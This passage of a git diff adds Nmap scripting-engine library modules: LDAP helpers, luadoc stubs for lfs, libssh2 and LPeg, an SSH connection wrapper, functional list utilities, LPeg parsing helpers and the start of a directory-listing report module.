+ result = datetime.format_timestamp(result, 0)
+ else
+ result = 'Never'
+ end
+
+ return result
+
+end
+
+--- Converts a non-delimited Zulu timestamp format to a human readable form
+-- For example 20110904003302.0Z becomes 2001/09/04 00:33:02 UTC
+--
+--
+-- @param timestamp in Zulu format without separators
+-- @return string containing human readable form
+function convertZuluTimeStamp(timestamp)
+
+ if ( type(timestamp) == 'string' and string.sub(timestamp,-3) == '.0Z' ) then
+
+ local year = string.sub(timestamp,1,4)
+ local month = string.sub(timestamp,5,6)
+ local day = string.sub(timestamp,7,8)
+ local hour = string.sub(timestamp,9,10)
+ local mins = string.sub(timestamp,11,12)
+ local secs = string.sub(timestamp,13,14)
+ local result = year .. "/" .. month .. "/" .. day .. " " .. hour .. ":" .. mins .. ":" .. secs .. " UTC"
+
+ return result
+
+ else
+ return 'Invalid date format'
+ end
+
+end
+
+--- Converts the objectSid Active Directory attribute
+-- from hex to a human readable string
+--
+-- Example: 1-5-21-542885397-2936741293-3965599772-500
+--
+-- @param hex string form of objectSid from LDAP response
+-- @return string containing human readable form
+function convertObjectSid(data)
+
+ local pos, revision, auth, sub_auth_size, sub_auth, result
+
+ revision, pos = string.unpack('I1', data, 1)
+ sub_auth_size, pos = string.unpack('I1', data, pos)
+ auth, pos = string.unpack('>I6', data, pos)
+
+ sub_auth = ''
+ local tmp
+ local cnt = 0
+ while (cnt < sub_auth_size) do
+ tmp, pos = string.unpack('<I4', data, pos)
+ sub_auth = sub_auth .. '-' .. tmp
+ cnt = cnt + 1
+ end
+
+ result = revision .. '-' .. auth .. sub_auth
+ return result
+
+end
+
+--- Creates a copy of a table
+--
+--
+-- @param targetTable table object to copy
+-- @return table object containing copy of original
+function copyTable(targetTable)
+ local temp = { }
+ for key, val in pairs(targetTable) do
+ temp[key] = val
+ end
+ return setmetatable(temp, getmetatable(targetTable))
+end
+
+return _ENV;
diff --git a/nselib/lfs.luadoc b/nselib/lfs.luadoc
new file mode 100644
index 0000000..60d436d
--- /dev/null
+++ b/nselib/lfs.luadoc
@@ -0,0 +1,48 @@
+-- The <code>lfs</code> module provides Nmap with a portable interface to file
+-- system functions that are missing in the standard Lua libraries. The module
+-- is a port of the LuaFileSystem module which was written as part of the
+-- Kepler Project.
+--
+
+module "lfs"
+
+--- Returns a directory iterator listing the contents of the given path
+--
+-- Each time the iterator is called with dir_obj it returns a directory entry's
+-- name as a string, or nil if there are no more entries.
+--
+-- @param path string containing the directory to list
+-- @return iterator function returning the next file or nil when done
+-- @usage for f in lfs.dir("/tmp") do print("file:", f) end
+function dir(path)
+
+--- Creates a hard or symbolic link to a file
+--
+-- @param filepath string containing the object to link to
+-- @param linkname string containing the name of the link
+-- @param symbolic [optional] boolean true if link is symbolic
+-- @return Status (true or false)
+-- @return Error string (if status is false).
+function link(filepath, linkname, symbolic)
+
+--- Creates a new directory.
+-- The parent directory has to exist otherwise the operation will fail
+--
+-- @param path string containing the directory name to create
+-- @return Status (true or false)
+-- @return Error string (if status is false).
+function mkdir(path)
+
+--- Removes an existing directory.
+-- The directory has to be empty, otherwise the operation will fail
+--
+-- @param path string containing the directory name to remove
+-- @return Status (true or false)
+-- @return Error string (if status is false).
+function rmdir(path)
+
+--- Returns the OS specific directory path separator.
+--
+-- @return sep string containing the path separator
+function get_path_separator()
+
diff --git a/nselib/libssh2-utility.lua b/nselib/libssh2-utility.lua
new file mode 100644
index 0000000..bfe7bf0
--- /dev/null
+++ b/nselib/libssh2-utility.lua
@@ -0,0 +1,184 @@
+---
+-- Utility functions for libssh2.
+--
+-- Provides helper class for the libssh2 binding that abstracts away
+-- details of running remote commands.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @class module
+-- @name libssh2-utility
+
+local stdnse = require "stdnse"
+local table = require "table"
+
+local libssh2 = stdnse.silent_require "libssh2"
+
+SSHConnection = {}
+
+---
+-- Returns a new connection object.
+--
+-- @return A connection object.
+function SSHConnection:new ()
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+end
+
+---
+-- Sets up a connection with a server.
+--
+-- @param host A host to connect to.
+-- @param port A port to connect to.
+-- @return true on success or nil on failure
+function SSHConnection:connect (host, port)
+ self.session = libssh2.session_open(host, port.number)
+ if self.session then
+ return true
+ end
+end
+
+
+---
+-- Sets up a connection with a server. Call performed with pcall.
+--
+-- @param host A host to connect to.
+-- @param port A port to connect to.
+-- @return true on success or error message on failure
+-- @return error code if error was triggered
+function SSHConnection:connect_pcall (host, port)
+ local status, err
+ status, self.session, err = pcall(libssh2.session_open, host, port.number)
+ return status, err
+end
+
+---
+-- Runs a shell command on the remote host.
+--
+-- @param cmd A command to run.
+-- @return The command output.
+function SSHConnection:run_remote (cmd)
+ if not (self.session and self.authenticated) then
+ return false
+ end
+ local channel = libssh2.open_channel(self.session)
+ libssh2.channel_exec(self.session, channel, cmd)
+ libssh2.channel_send_eof(self.session, channel)
+ local buff = {}
+ local data = ""
+ while not libssh2.channel_eof(channel) do
+ data = libssh2.channel_read(self.session, channel)
+ if data then
+ table.insert(buff, data)
+ end
+ end
+ return table.concat(buff)
+end
+
+---
+-- Attempts to authenticate using provided credentials.
+--
+-- @param username A username to authenticate as.
+-- @param password A password to authenticate as.
+-- @return true on success or false on failure.
+function SSHConnection:password_auth (username, password)
+ if not self.session then
+ return false
+ end
+ if libssh2.userauth_password(self.session, username, password) then
+ self.authenticated = true
+ return true
+ else
+ return false
+ end
+end
+
+---
+-- Attempts to authenticate using provided private key.
+--
+-- @param username A username to authenticate as.
+-- @param privatekey_file A path to a privatekey.
+-- @param passphrase A passphrase for the privatekey.
+-- @return true on success or false on failure.
+function SSHConnection:publickey_auth (username, privatekey_file, passphrase)
+ if not self.session then
+ return false
+ end
+ if libssh2.userauth_publickey(self.session, username, privatekey_file, passphrase or "") then
+ self.authenticated = true
+ return true
+ else
+ return false
+ end
+end
+
+---
+-- Closes connection.
+function SSHConnection:disconnect ()
+ if self.session then
+ libssh2.session_close(self.session)
+ end
+end
+
+---
+-- Sends ssh timeout
+--
+-- @param ssh_timeout Time in miliseconds before considering the situation an error.
+function SSHConnection:set_timeout (ssh_timeout)
+ if self.session then
+ libssh2.set_timeout(self.session, ssh_timeout)
+ end
+end
+
+---
+-- Attempt to retrieve a list of supported authentication methods
+--
+-- @param username A username to authenticate as.
+-- @return A list with the authentication methods on success or false on failure.
+function SSHConnection:list (username)
+ if not self.session then
+ return false
+ end
+ local status, methods = pcall(libssh2.userauth_list, self.session, username)
+ if status then
+ return methods
+ end
+ return false
+end
+
+---
+-- Attempts to read public key file
+--
+-- @param publickey An SSH public key file.
+-- @return true on success or false on error.
+-- @return public key data on success or error code on error.
+function SSHConnection:read_publickey (publickey)
+ local status, result = pcall(libssh2.read_publickey, publickey)
+ return status, result
+end
+
+---
+-- Attempts authentication with public key
+--
+-- @param username A username to authenticate as.
+-- @param key Base64 decrypted public key.
+-- @return true if the public key can be used to authenticate as the user, false otherwise
+-- @return Error message if an error occurs.
+function SSHConnection:publickey_canauth (username, key)
+ local status, err
+ if self.session then
+ status, err = pcall(libssh2.publickey_canauth, self.session, username, key)
+ if status then
+ -- no error thrown; return the actual result
+ status = err
+ err = nil
+ end
+ else
+ status = false
+ err = "No session established"
+ end
+ return status, err
+end
+
+return _ENV
diff --git a/nselib/libssh2.luadoc b/nselib/libssh2.luadoc
new file mode 100644
index 0000000..1801ead
--- /dev/null
+++ b/nselib/libssh2.luadoc
@@ -0,0 +1,120 @@
+---
+-- Provides a binding for the libssh2 library.
+--
+-- SSH2 is a complex protocol and libssh2 simplifies many tasks involved in
+-- interacting with ssh servers. This module provides bindings for some of the
+-- most commonly used libssh2 functions. You may wish to use the functionality
+-- in libssh2-utility instead, which wraps many of the functions here in an easier
+-- to use class, SSHConnection.
+--
+-- For performance reasons, the modules reuses the NSE's existing nsock socket
+-- pool.
+--
+-- @author Devin Bjelland
+-- @author Sergey Khegay
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+module "libssh2"
+
+--- Creates libssh2 session and performs handshake
+-- @param host Host to connect to.
+-- @param port Port to connect to.
+-- @return session or nil on failure
+function session_open(host, port)
+
+--- Returns SHA1 or MD5 hostkey hash of session
+-- @param session Connected libssh2 session.
+-- @param hashtype (optional) "sha1" or "md5" (sha1 is default)
+-- @return hostkey hash of server
+function hostkey_hash(session, hashtype)
+
+--- Sets timeout of libssh2 session
+-- @param session Connected libssh2 session.
+-- @param timeout Timeout for session in milliseconds.
+function set_timeout(session, timeout)
+
+--- Returns list of authentication methods supported by the server
+-- @param session Connected libssh2 session.
+-- @return List of supported authentication methods/
+function userauth_list(session)
+
+--- Attempts to authenicate libssh2 session using provided credentials
+-- @param username Username to authenicate as.
+-- @param password Password to authenicate with.
+-- @return true/false, depending on success
+function userauth_password(session, username, password)
+
+--- Attempts to authenticate libssh2 session using provided publickey
+-- @param session Connected libssh2 session
+-- @param username Username to authenicate as
+-- @param privatekeyfile File containing privatekey
+-- @param passphrase Passphrase for privatekey
+-- @param publickeyfile File containing publickey. Not necessary if libssh2 is
+-- compiled against OpenSSL
+-- @return true/false, depending on success
+function userauth_publickey(session, username, privatekeyfile, passphrase, publickeyfile)
+
+--- Read publickey from id_*.pub type key file
+-- @param publickeyfile File containing publickey
+-- @return string containing raw key data
+function read_publickey(publickeyfile)
+
+--- Checks to see if ssh server accepts public key for authentication as given user.
+-- This doesn't require the private key as it doesn't finish authenticating.
+-- @param session Connected libssh2 session
+-- @param username Username to authenicate as
+-- @param publickeydata String containing raw publickey blob
+-- @return true/false, depending on whether user can authenticate with given key
+function publickey_canauth(session, username, publickeydata)
+
+--- Opens channel on authenticated ssh2 session and sets it to pseudo
+-- terminal mode.
+-- @param session Authenticated libssh2 session
+-- @return libssh2 channel
+function open_channel(session)
+
+--- Reads data from stdin on libssh2 channel.
+-- @param session Authenticated libssh2 session
+-- @param channel Open libssh2 channel
+-- @return string containing data read from channel
+function channel_read(session, channel)
+
+--- Reads data from stderr on libssh2 channel.
+-- @param session Authenticated libssh2 session
+-- @param channel Open libssh2 channel
+-- @return string containing data read from channel
+function channel_read_stderr(session, channel)
+
+--- Writes data to libssh2 channel. Not garenteed to write entire buffer.
+-- @param session Authenticated libssh2 session
+-- @param channel Open libssh2 channel
+-- @param buffer String containing data to be written
+-- @return Number of bytes written to channel
+function channel_write(session, channel, buffer)
+
+--- Executes command on libssh2 channel and returns output
+-- @param session Authenticated libssh2 session
+-- @param channel Open libssh2 channel
+-- @param cmd String containing command to execute
+-- @return String containing output from command
+function channel_exec(session, channel, cmd)
+
+--- Sends EOF on libssh2 channel. Note that the server may continue to send data
+-- until it sends its own EOF (which can be checked with channel_eof()
+-- @param session Authenticated libssh2 session
+-- @param channel Open libssh2 channel
+function channel_send_eof(session, channel)
+
+--- Checks if server has sent EOF on libssh2 channel
+-- @param channel Open libssh2 channel
+-- @return true/false depending on whether server has send EOF
+function channel_eof(channel)
+
+--- Gracefully closes open libssh2 channel
+-- @param session Authenticated libssh2 session
+-- @param channel Open libssh2 channel
+function channel_close(session, channel)
+
+--- Gracefully closes connected libssh2 session
+-- @param session Connected libssh2 session
+function session_close(session)
diff --git a/nselib/listop.lua b/nselib/listop.lua
new file mode 100644
index 0000000..7dd8386
--- /dev/null
+++ b/nselib/listop.lua
@@ -0,0 +1,184 @@
+---
+-- Functional-style list operations.
+--
+-- People used to programming in functional languages, such as Lisp
+-- or Haskell, appreciate their handling of lists very much. The
+-- <code>listop</code> module tries to bring much of the functionality from
+-- functional languages to Lua using Lua's central data structure, the table, as
+-- a base for its list operations. Highlights include a <code>map</code>
+-- function applying a given function to each element of a list.
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local stdnse = require "stdnse"
+local table = require "table"
+_ENV = stdnse.module("listop", stdnse.seeall)
+
+--[[
+--
+Functional programming style 'list' operations
+
+ bool is_empty(list)
+ bool is_list(value)
+
+ value apply(function, list)
+ list map(function, list)
+ list filter(function, list)
+ list flatten(list)
+ list append(list1, list2)
+ list cons(value1, value2)
+ list reverse(list)
+
+ value car(list)
+ value ncar(list, x)
+ list cdr(list)
+ list ncdr(list, x)
+
+ where 'list' is an indexed table
+ where 'value' is an lua datatype
+--]]
+
+--- Returns true if the given list is empty.
+-- @param l A list.
+-- @return True or false.
+function is_empty(l)
+ return #l == 0 and true or false;
+end
+
+--- Returns true if the given value is a list (or rather a table).
+-- @param l Any value.
+-- @return True or false.
+function is_list(l)
+ return type(l) == 'table' and true or false;
+end
+
+--- Calls <code>f</code> for each element in the list. The returned list
+--contains the results of each function call.
+-- @usage
+-- listop.map(tostring,{1,2,true}) --> {"1","2","true"}
+-- @param f The function to call.
+-- @param l A list.
+-- @return List of function results.
+function map(f, l)
+ local results = {}
+ for _, v in ipairs(l) do
+ results[#results+1] = f(v);
+ end
+ return results;
+end
+
+--- Calls the function with all the elements in the list as the parameters.
+-- @usage
+-- listop.apply(math.max,{1,5,6,7,50000}) --> 50000
+-- @param f The function to call.
+-- @param l A list.
+-- @return Results from <code>f</code>.
+function apply(f, l)
+ return f(table.unpack(l))
+end
+
+--- Returns a list containing only those elements for which a predicate
+-- function returns true.
+--
+-- The predicate has to be a function taking one argument and returning
+-- a Boolean. If it returns true, the argument is appended to the return value
+-- of filter.
+-- @usage
+-- listop.filter(isnumber,{1,2,3,"foo",4,"bar"}) --> {1,2,3,4}
+-- @param f The function.
+-- @param l The list.
+-- @return Filtered list.
+function filter(f, l)
+ local results = {}
+ for i, v in ipairs(l) do
+ if(f(v)) then
+ results[#results+1] = v;
+ end
+ end
+ return results
+end
+
+--- Fetch the first element of a list.
+-- @param l The list.
+-- @return The first element.
+function car(l)
+ return l[1]
+end
+
+--- Fetch all elements following the first in a new list.
+-- @param l The list.
+-- @return Elements after the first.
+function cdr(l)
+ return {table.unpack(l, 2)}
+end
+
+--- Fetch element at index <code>x</code> from <code>l</code>.
+-- @param l The list.
+-- @param x Element index.
+-- @return Element at index <code>x</code> or at index <code>1</code> if
+-- <code>x</code> is not given.
+function ncar(l, x)
+ return l[x or 1];
+end
+
+--- Fetch all elements following the element at index <code>x</code>.
+-- @param l The list.
+-- @param x Element index.
+-- @return Elements after index <code>x</code> or after index <code>1</code> if
+-- <code>x</code> is not given.
+function ncdr(l, x)
+ return {table.unpack(l, x or 2)};
+end
+
+--- Prepend a value or list to another value or list.
+-- @param v1 value or list.
+-- @param v2 value or list.
+-- @return New list.
+function cons(v1, v2)
+ return{ is_list(v1) and {table.unpack(v1)} or v1, is_list(v2) and {table.unpack(v2)} or v2}
+end
+
+--- Concatenate two lists and return the result.
+-- @param l1 List.
+-- @param l2 List.
+-- @return List.
+function append(l1, l2)
+ local results = {table.unpack(l1)}
+
+ for _, v in ipairs(l2) do
+ results[#results+1] = v;
+ end
+ return results
+end
+
+--- Return a list in reverse order.
+-- @param l List.
+-- @return Reversed list.
+function reverse(l)
+ local results = {}
+ for i=#l, 1, -1 do
+ results[#results+1] = l[i];
+ end
+ return results
+end
+
+--- Return a flattened version of a list. The flattened list contains
+-- only non-list values.
+-- @usage
+-- listop.flatten({1,2,3,"foo",{4,5,{"bar"}}}) --> {1,2,3,"foo",4,5,"bar"}
+-- @param l The list to flatten.
+-- @return Flattened list.
+function flatten(l)
+ local function flat(r, t)
+ for i, v in ipairs(t) do
+ if(type(v) == 'table') then
+ flat(r, v)
+ else
+ table.insert(r, v)
+ end
+ end
+ return r
+ end
+ return flat({}, l)
+end
+
+return _ENV;
diff --git a/nselib/lpeg-utility.lua b/nselib/lpeg-utility.lua
new file mode 100644
index 0000000..47134bc
--- /dev/null
+++ b/nselib/lpeg-utility.lua
@@ -0,0 +1,170 @@
+---
+-- Utility functions for LPeg.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @class module
+-- @name lpeg-utility
+
+local assert = assert
+
+local lpeg = require "lpeg"
+local stdnse = require "stdnse"
+local pairs = pairs
+local string = require "string"
+local tonumber = tonumber
+local rawset = rawset
+local lower = string.lower
+local upper = string.upper
+
+_ENV = {}
+
+local caselessP = lpeg.Cf((lpeg.P(1) / function (a) return lpeg.S(lower(a)..upper(a)) end)^1, function (a, b) return a * b end)
+---
+-- Returns a pattern which matches the literal string caselessly.
+--
+-- @param literal A literal string to match case-insensitively.
+-- @return An LPeg pattern.
+function caseless (literal)
+ return assert(caselessP:match(literal))
+end
+
+---
+-- Returns a pattern which matches the input pattern anywhere on a subject string.
+--
+-- @param patt Input pattern.
+-- @return An LPeg pattern.
+function anywhere (patt)
+ return lpeg.P {
+ patt + 1 * lpeg.V(1)
+ }
+end
+
+---
+-- Adds the current locale from lpeg.locale() to the grammar and returns the final pattern.
+--
+-- @param grammar Input grammar.
+-- @return An LPeg pattern.
+function localize (grammar)
+ return lpeg.P(lpeg.locale(grammar))
+end
+
+---
+-- Splits the input string on the input separator.
+--
+-- @param str Input string to split.
+-- @param sep Input string/pattern to separate on.
+-- @return All splits.
+function split (str, sep)
+ return lpeg.P {
+ lpeg.V "elem" * (lpeg.V "sep" * lpeg.V "elem")^0,
+ elem = lpeg.C((1 - lpeg.V "sep")^0),
+ sep = sep,
+ } :match(str)
+end
+
+---
+-- Returns a pattern which only matches at a word boundary (beginning).
+--
+-- Essentially the same as '\b' in a PCRE pattern.
+--
+-- @param patt A pattern.
+-- @return A new LPeg pattern.
+function atwordboundary (patt)
+ return _ENV.localize {
+ patt + lpeg.V "alpha"^0 * (1 - lpeg.V "alpha")^1 * lpeg.V(1)
+ }
+end
+
+---
+-- Returns a pattern which captures the contents of a quoted string.
+--
+-- This can handle embedded escaped quotes, and captures the unescaped string.
+--
+-- @param quot The quote character to use. Default: '"'
+-- @param esc The escape character to use. Cannot be the same as quot. Default: "\"
+function escaped_quote (quot, esc)
+ quot = quot or '"'
+ esc = esc or '\\'
+ return lpeg.P {
+ lpeg.Cs(lpeg.V "quot" * lpeg.Cs((lpeg.V "simple_char" + lpeg.V "noesc" + lpeg.V "unesc")^0) * lpeg.V "quot"),
+ quot = lpeg.P(quot)/"",
+ esc = lpeg.P(esc),
+ simple_char = (lpeg.P(1) - (lpeg.V "quot" + lpeg.V "esc")),
+ unesc = (lpeg.V "esc" * lpeg.C( lpeg.V "esc" + lpeg.P(quot) ))/"%1",
+ noesc = lpeg.V "esc" * lpeg.V "simple_char"
+ }
+end
+
+---
+-- Adds hooks to a grammar to print debugging information
+--
+-- Debugging LPeg grammars can be difficult. Calling this function on your
+-- grammmar will cause it to print ENTER and LEAVE statements for each rule, as
+-- well as position and subject after each successful rule match.
+--
+-- For convenience, the modified grammar is returned; a copy is not made
+-- though, and the original grammar is modified as well.
+--
+-- @param grammar The LPeg grammar to modify
+-- @param printer A printf-style formatting printer function to use.
+-- Default: stdnse.debug1
+-- @return The modified grammar.
+function debug (grammar, printer)
+ printer = printer or stdnse.debug1
+ -- Original code credit: http://lua-users.org/lists/lua-l/2009-10/msg00774.html
+ for k, p in pairs(grammar) do
+ local enter = lpeg.Cmt(lpeg.P(true), function(s, p, ...)
+ printer("ENTER %s", k) return p end)
+ local leave = lpeg.Cmt(lpeg.P(true), function(s, p, ...)
+ printer("LEAVE %s", k) return p end) * (lpeg.P("k") - lpeg.P "k");
+ grammar[k] = lpeg.Cmt(enter * p + leave, function(s, p, ...)
+ printer("---%s---", k) printer("pos: %d, [%s]", p, s:sub(1, p-1)) return p end)
+ end
+ return grammar
+end
+
+do
+ -- Cache the returned pattern
+ local getquote = escaped_quote()
+
+ -- Substitution pattern to unescape a string
+ local unescape = lpeg.P {
+ -- Substitute captures
+ lpeg.Cs((lpeg.V "simple_char" + lpeg.V "unesc")^0),
+ -- Escape char is '\'
+ esc = lpeg.P "\\",
+ -- Simple char is anything but escape char
+ simple_char = lpeg.P(1) - lpeg.V "esc",
+ -- If we hit an escape, process specials or hex code, otherwise remove the escape
+ unesc = (lpeg.V "esc" * lpeg.Cs( lpeg.V "specials" + lpeg.V "code" + lpeg.P(1) ))/"%1",
+ -- single-char escapes. These are the only ones service_scan uses
+ specials = lpeg.S "trn0" / {t="\t", r="\r", n="\n", ["0"]="\0"},
+ -- hex escape: convert to char
+ code = (lpeg.P "x" * lpeg.C(lpeg.S "0123456789abcdefABCDEF"^-2))/function(c)
+ return string.char(tonumber(c,16)) end,
+ }
+
+ --- Turn the service fingerprint reply to a probe into a binary blob
+ --@param fp the <code>port.version.service_fp</code> provided by the NSE API.
+ --@param probe the probe name to match, e.g. GetRequest, TLSSessionReq, etc.
+ --@return the raw probe response received to that probe, or nil if there was no response.
+ function get_response (fp, probe)
+ fp = string.gsub(fp, "\nSF:", "")
+ local i, e = string.find(fp, string.format("%s,%%x+,", probe))
+ if i == nil then return nil end
+ return unescape:match(getquote:match(fp, e+1))
+ end
+
+ local svfp_parser = lpeg.P ({
+ anywhere("%r(") * lpeg.Cf(lpeg.Ct("") * (lpeg.V "probematch" * lpeg.P(")%r(")^-1)^1, rawset),
+ probematch = lpeg.Cg(lpeg.C((lpeg.P(1) - ",")^1) * "," * (lpeg.R("09") + lpeg.R("AF"))^1 * "," * lpeg.Cs(getquote/function(q) return unescape:match(q) end)),
+ })
+ --- Get the service fingerprint reply to a probe into a binary blob
+ --@param fp the <code>port.version.service_fp</code> provided by the NSE API.
+ function parse_fp (fp)
+ fp = string.gsub(fp, "\nSF:", "")
+ return svfp_parser:match(fp)
+ end
+end
+
+return _ENV
diff --git a/nselib/lpeg.luadoc b/nselib/lpeg.luadoc
new file mode 100644
index 0000000..0fafcd6
--- /dev/null
+++ b/nselib/lpeg.luadoc
@@ -0,0 +1,10 @@
+---
+-- Parsing Expression Grammars for Lua
+--
+-- LPeg is a powerful pattern matching and grammar parsing library. The full
+-- documentation can be found at
+-- http://www.inf.puc-rio.br/~roberto/lpeg/lpeg.html
+--
+-- @author Roberto Ierusalimschy
+-- @license Copyright 2007, Lua.org & PUC-Rio (https://svn.nmap.org/nmap/docs/licenses/MIT)
+module "lpeg"
diff --git a/nselib/ls.lua b/nselib/ls.lua
new file mode 100644
index 0000000..9d190ff
--- /dev/null
+++ b/nselib/ls.lua
@@ -0,0 +1,368 @@
+---
+-- Report file and directory listings.
+--
+-- For scripts that gather and report directory listings, this script provides
+-- a common output format and helpful script arguments.
+--
+-- The arguments can either be set for all the scripts using this
+-- module (--script-args ls.arg=value) or for one particular script
+-- (--script-args afp-ls.arg=value). If both are specified for the
+-- same argument, the script-specific value is used.
+--
+-- @args ls.maxdepth The maximum depth to recurse into a directory. If less
+-- than 0 (e.g. -1) then recursion is unlimited.
+-- (default: 0, no recursion).
+-- @args ls.maxfiles The maximum number of files to return. Set to 0 or less to
+-- disable this limit. (default: 10).
+-- @args ls.checksum (boolean) Download each file and calculate a
+-- SHA1 checksum. Although this is a module
+-- argument, the implementation is done in each
+-- script and is currently only supported by smb-ls
+-- and http-ls
+-- @args ls.errors (boolean) Report errors
+-- @args ls.empty (boolean) Report empty volumes (with no information
+-- or error)
+-- @args ls.human (boolean) Show file sizes in human-readable format with K,
+-- M, G, T, P suffixes. Some services return human-readable
+-- sizes natively; in these cases, the size is reported as
+-- given.
+--
+-- @author Pierre Lalet <pierre@droids-corp.org>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-----------------------------------------------------------------------
+
+local LIBRARY_NAME = "ls"
+
+local math = require "math"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+
+_ENV = stdnse.module("ls", stdnse.seeall)
+
+local config_values = {
+ ["maxdepth"] = 1,
+ ["maxfiles"] = 10,
+ ["checksum"] = false,
+ ["errors"] = false,
+ ["empty"] = false,
+ ["human"] = false,
+}
+
+--- Convert an argument to its expected type
+local function convert_arg(argval, argtype)
+ if argtype == "number" then
+ return tonumber(argval)
+ elseif argtype == "boolean" then
+ if argval == "false" or argval == "no" or argval == "0" then
+ return false
+ else
+ return true
+ end
+ end
+ return argval
+end
+
+--- Update config_values using module arguments ("ls.argname", as
+-- opposed to script-specific arguments, "http-ls.argname")
+for argname, argvalue in pairs(config_values) do
+ local argval = stdnse.get_script_args(LIBRARY_NAME .. "." .. argname)
+ if argval ~= nil then
+ config_values[argname] = convert_arg(argval, type(argvalue))
+ end
+end
+
+--- Get a config value from (by order or priority):
+-- 1. a script-specific argument (e.g., http-ls.argname)
+-- 2. a module argument (ls.argname)
+-- 3. the default value
+-- @param argname The name of the configuration parameter
+-- @return The configuration value
+function config(argname)
+ local argval = stdnse.get_script_args(stdnse.getid() .. "." .. argname)
+ if argval == nil then
+ return config_values[argname]
+ else
+ return convert_arg(argval, type(config_values[argname]))
+ end
+end
+
+--- Create a new script output.
+-- @return The ls output object to be passed to other functions
+function new_listing()
+ local output = stdnse.output_table()
+ output['curvol'] = nil
+ output['volumes'] = {}
+ output['errors'] = {}
+ output['info'] = {}
+ output['total'] = {
+ ['files'] = 0,
+ ['bytes'] = 0,
+ }
+ return output
+end
+
+--- Create a new volume within the provided output
+-- @param output The ls output object, from new_listing()
+-- @param name The name of the volume
+-- @param hasperms Boolean true if the volume listing will include permissions
+function new_vol(output, name, hasperms)
+ local curvol = stdnse.output_table()
+ local files = tab.new()
+ local i = 1
+ if hasperms then
+ tab.add(files, 1, "PERMISSION")
+ tab.add(files, 2, "UID")
+ tab.add(files, 3, "GID")
+ i = 4
+ end
+ tab.add(files, i, "SIZE")
+ tab.add(files, i + 1, "TIME")
+ tab.add(files, i + 2, "FILENAME")
+ if config("checksum") then
+ tab.add(files, i + 3, "CHECKSUM")
+ end
+ tab.nextrow(files)
+ curvol['name'] = name
+ curvol['files'] = files
+ curvol['count'] = 0
+ curvol['bytes'] = 0
+ curvol['errors'] = {}
+ curvol['info'] = {}
+ curvol['hasperms'] = hasperms
+ output['curvol'] = curvol
+end
+
+--- Report an error, using stdnse.debug() and (depending on the
+-- configuration settings) adding the error message to the output.
+-- @param output The ls output object, from new_listing()
+-- @param err The error message to report
+-- @param level The debug level (default: 1)
+function report_error(output, err, level)
+ level = level or 1
+ if output["curvol"] == nil then
+ stdnse.debug(level, string.format("error: %s", err))
+ else
+ stdnse.debug(level, string.format("error [%s]: %s",
+ output["curvol"]["name"], err))
+ end
+ if config('errors') then
+ if output["curvol"] == nil then
+ table.insert(output["errors"], err)
+ else
+ table.insert(output["curvol"]["errors"], err)
+ end
+ end
+end
+
+--- Report information, using stdnse.debug() and adding the message
+-- to the output.
+-- @param output The ls output object, from new_listing()
+-- @param info The info message to report
+-- @param level The debug level (default: 1)
+function report_info(output, info, level)
+ level = level or 1
+ if output["curvol"] == nil then
+ stdnse.debug(level, string.format("info: %s", info))
+ table.insert(output["info"], info)
+ else
+ stdnse.debug(level, string.format("info [%s]: %s",
+ output["curvol"]["name"], info))
+ table.insert(output["curvol"]["info"], info)
+ end
+end
+
+local units = {
+ ["k"] = 1024,
+ ["m"] = 1024^2,
+ ["g"] = 1024^3,
+ ["t"] = 1024^4,
+ ["p"] = 1024^5,
+}
+
+--- Get a size as an integer from a (possibly) human readable input.
+local function get_size(size)
+ local bsize = tonumber(size)
+ if bsize == nil then
+ local unit = string.lower(string.sub(size, -1, -1))
+ bsize = tonumber(string.sub(size, 0, -2))
+ if units[unit] ~= nil and bsize ~= nil then
+ bsize = bsize * units[unit]
+ local sigfigs = #(string.match(size, "[0-9.]+"))
+ if string.find(size, "%.") then
+ sigfigs = sigfigs - 1
+ end
+ local d = math.ceil(math.log(bsize, 10))
+ local power = sigfigs - d
+ local magnitude = 10^power
+ local shifted = math.floor(bsize * magnitude)
+ bsize = math.floor(shifted / magnitude)
+ else
+ bsize = nil
+ end
+ end
+ return bsize
+end
+
+--- Add a new file to the current volume.
+-- @param output The ls output object, from new_listing()
+-- @param file A table containing the information about the file
+-- @return Boolean true if the script may continue adding files, false if
+-- maxfiles has been reached.
+function add_file(output, file)
+ local curvol = output.curvol
+ local files = curvol["files"]
+ for i, info in ipairs(file) do
+ tab.add(files, i, tostring(info))
+ end
+ local size = get_size(file[curvol.hasperms and 4 or 1])
+ if size then
+ curvol["bytes"] = curvol["bytes"] + size
+ end
+ tab.nextrow(files)
+ curvol["count"] = curvol["count"] + 1
+ return (config("maxfiles") == 0 or config("maxfiles") == nil
+ or config("maxfiles") > curvol["count"])
+end
+
+--- Close the current volume. It is mandatory to call this function
+-- before calling new_vol() again or before calling end_listing().
+-- @param output The ls output object, from new_listing()
+function end_vol(output)
+ local curvol = output.curvol
+ local vol = {["volume"] = curvol["name"]}
+ local empty = true
+ -- "files" is a tab.lua table, so row 1 is the table heading
+ if #curvol["files"] ~= 1 then
+ vol["files"] = curvol["files"]
+ empty = false
+ end
+ if #curvol["errors"] ~= 0 then
+ vol["errors"] = curvol["errors"]
+ empty = false
+ end
+ if #curvol["info"] ~= 0 then
+ vol["info"] = curvol["info"]
+ empty = false
+ end
+ if not empty or config("empty") then
+ table.insert(output["volumes"], vol)
+ end
+ output["total"]["files"] = output["total"]["files"] + curvol["count"]
+ output["total"]["bytes"] = output["total"]["bytes"] + curvol["bytes"]
+ output["curvol"] = nil
+end
+
+--- Convert a files table to structured data.
+local function files_to_structured(files)
+ local result = {}
+ local fields = table.remove(files, 1)
+ for i=1, #fields do
+ fields[i] = string.lower(fields[i])
+ end
+ for i, file in ipairs(files) do
+ result[i] = {}
+ for j, value in ipairs(file) do
+ result[i][fields[j]] = value
+ end
+ end
+ return result
+end
+
+--- Convert a files table to human readable data.
+local function files_to_readable(files)
+ local outtab = tab.new()
+ local fields = files[1]
+ local isize
+ tab.addrow(outtab, table.unpack(fields))
+ for i, field in ipairs(fields) do
+ if string.lower(field) == "size" then
+ isize = i
+ break
+ end
+ end
+ local units = {"K", "M", "G", "T", "P"}
+ for i = 2, #files do
